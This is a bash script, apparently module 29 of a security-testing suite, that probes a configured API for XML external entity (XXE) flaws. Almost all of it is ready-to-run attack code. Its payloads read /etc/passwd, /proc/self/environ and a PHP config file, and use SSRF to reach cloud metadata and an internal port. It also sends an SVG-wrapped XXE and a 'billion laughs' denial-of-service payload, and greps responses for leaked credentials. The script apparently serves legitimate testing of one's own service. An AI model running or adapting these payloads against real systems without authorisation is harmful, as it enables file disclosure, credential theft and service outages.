| 1 |
| 2 |
| 3 |
| 4 |
| 5 |
|
| 6 |
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" |
| 7 |
source "$SCRIPT_DIR/../config.sh" |
| 8 |
OUT_FILE="$OUT/29_xxe.txt" |
| 9 |
echo "=== 29. XXE Injection ===" | tee "$OUT_FILE" |
| 10 |
echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE" |
| 11 |
echo "" | tee -a "$OUT_FILE" |
| 12 |
|
| 13 |
W() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; } |
| 14 |
|
| 15 |
do_xxe() { |
| 16 |
local label="$1" payload="$2" ct="${3:-application/xml}"; shift 3 |
| 17 |
local body code |
| 18 |
body=$(curl -sk --http2 --max-time 10 -A "$BROWSER_UA" \ |
| 19 |
-X POST -H "Content-Type: $ct" -d "$payload" "$@") |
| 20 |
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ |
| 21 |
-X POST -H "Content-Type: $ct" -d "$payload" "$@") |
| 22 |
printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE" |
| 23 |
| 24 |
if echo "$body" | grep -qiE '(root:|daemon:|/bin/bash|localhost|127\.0\.0\.1|pqcrypta_user|DB_PASS|SYSTEM ENTITY)'; then |
| 25 |
echo " [VULN] Sensitive content in response:" | tee -a "$OUT_FILE" |
| 26 |
echo "$body" | grep -ioE '(root:|daemon:|/bin/bash|localhost|pqcrypta_user|DB_PASS)[^\n]{0,80}' | head -3 | sed 's/^/ /' | tee -a "$OUT_FILE" |
| 27 |
fi |
| 28 |
} |
| 29 |
|
| 30 |
| 31 |
XXE_PASSWD='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' |
| 32 |
XXE_ENV='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]><root>&xxe;</root>' |
| 33 |
XXE_HOSTS='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><root>&xxe;</root>' |
| 34 |
XXE_CONFIG='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/html/config/config.php">]><root>&xxe;</root>' |
| 35 |
XXE_SSRF='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>' |
| 36 |
XXE_SSRF_INTERNAL='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:'"${INTERNAL_API_PORT}"'/status">]><root>&xxe;</root>' |
| 37 |
XXE_BILLION_LAUGHS='<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">]><lolz>&lol4;</lolz>' |
| 38 |
|
| 39 |
| 40 |
echo "--- API XML Content-Type ---" | tee -a "$OUT_FILE" |
| 41 |
for ENDPOINT in /encrypt /decrypt /generate-keys /status; do |
| 42 |
do_xxe "XXE /etc/passwd โ $ENDPOINT" "$XXE_PASSWD" "application/xml" "$API_TARGET$ENDPOINT" |
| 43 |
do_xxe "XXE /etc/hosts โ $ENDPOINT" "$XXE_HOSTS" "application/xml" "$API_TARGET$ENDPOINT" |
| 44 |
done |
| 45 |
echo "" | tee -a "$OUT_FILE" |
| 46 |
|
| 47 |
| 48 |
echo "--- API text/xml Content-Type ---" | tee -a "$OUT_FILE" |
| 49 |
do_xxe "XXE text/xml /etc/passwd" "$XXE_PASSWD" "text/xml" "$API_TARGET/encrypt" |
| 50 |
do_xxe "XXE text/xml SSRF to metadata" "$XXE_SSRF" "text/xml" "$API_TARGET/encrypt" |
| 51 |
echo "" | tee -a "$OUT_FILE" |
| 52 |
|
| 53 |
| 54 |
echo "--- SSRF via XXE ---" | tee -a "$OUT_FILE" |
| 55 |
do_xxe "XXE SSRF โ AWS metadata" "$XXE_SSRF" "application/xml" "$API_TARGET/encrypt" |
| 56 |
do_xxe "XXE SSRF โ internal API :${INTERNAL_API_PORT}" "$XXE_SSRF_INTERNAL" "application/xml" "$API_TARGET/encrypt" |
| 57 |
do_xxe "XXE file โ config.php" "$XXE_CONFIG" "application/xml" "$API_TARGET/encrypt" |
| 58 |
do_xxe "XXE file โ /proc/self/environ" "$XXE_ENV" "application/xml" "$API_TARGET/encrypt" |
| 59 |
echo "" | tee -a "$OUT_FILE" |
| 60 |
|
| 61 |
| 62 |
echo "--- Content-Type Confusion (XML body to JSON endpoint) ---" | tee -a "$OUT_FILE" |
| 63 |
do_xxe "XXE in JSON-declared endpoint" "$XXE_PASSWD" "application/xml" "$API_TARGET/encrypt" |
| 64 |
| 65 |
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ |
| 66 |
-X POST -H 'Content-Type: application/json' -d "$XXE_PASSWD" "$API_TARGET/encrypt") |
| 67 |
printf '[%s] JSON Content-Type with XML body\n' "$code" | tee -a "$OUT_FILE" |
| 68 |
echo "" | tee -a "$OUT_FILE" |
| 69 |
|
| 70 |
| 71 |
echo "--- XXE via SVG (image/svg+xml) ---" | tee -a "$OUT_FILE" |
| 72 |
SVG_XXE='<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>' |
| 73 |
for ENDPOINT in /upload /convert /process /render /image; do |
| 74 |
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ |
| 75 |
-X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$API_TARGET$ENDPOINT") |
| 76 |
printf '[%s] SVG XXE โ %s\n' "$code" "$ENDPOINT" | tee -a "$OUT_FILE" |
| 77 |
done |
| 78 |
| 79 |
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ |
| 80 |
-X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$TARGET/pdf/api.php") |
| 81 |
printf '[%s] SVG XXE โ /pdf/api.php\n' "$code" | tee -a "$OUT_FILE" |
| 82 |
echo "" | tee -a "$OUT_FILE" |
| 83 |
|
| 84 |
| 85 |
echo "--- Billion Laughs (XML Entity Expansion DoS) ---" | tee -a "$OUT_FILE" |
| 86 |
START=$(python3 -c "import time; print(int(time.time()*1000))") |
| 87 |
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ |
| 88 |
-X POST -H 'Content-Type: application/xml' -d "$XXE_BILLION_LAUGHS" "$API_TARGET/encrypt") |
| 89 |
END=$(python3 -c "import time; print(int(time.time()*1000))") |
| 90 |
ELAPSED=$((END - START)) |
| 91 |
printf '[%s] Billion laughs entity expansion โ %dms\n' "$CODE" "$ELAPSED" | tee -a "$OUT_FILE" |
| 92 |
[ "$ELAPSED" -gt 8000 ] && echo " [WARN] Slow response โ server may be expanding entities" | tee -a "$OUT_FILE" || \ |
| 93 |
echo " [OK] Fast rejection โ entity expansion not processed" | tee -a "$OUT_FILE" |
| 94 |
echo "" | tee -a "$OUT_FILE" |
| 95 |
|
| 96 |
| 97 |
echo "--- Protocol Consistency (HTTP/1.1 vs HTTP/2) ---" | tee -a "$OUT_FILE" |
| 98 |
for PROTO in "--http1.1" "--http2"; do |
| 99 |
code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \ |
| 100 |
-X POST -H 'Content-Type: application/xml' -d "$XXE_PASSWD" "$API_TARGET/encrypt") |
| 101 |
printf '[%s] %s XXE /etc/passwd\n' "$code" "$PROTO" | tee -a "$OUT_FILE" |
| 102 |
done |
| 103 |
echo "" | tee -a "$OUT_FILE" |
| 104 |
|
| 105 |
echo "=== 29. XXE COMPLETE ===" | tee -a "$OUT_FILE" |
| 106 |
|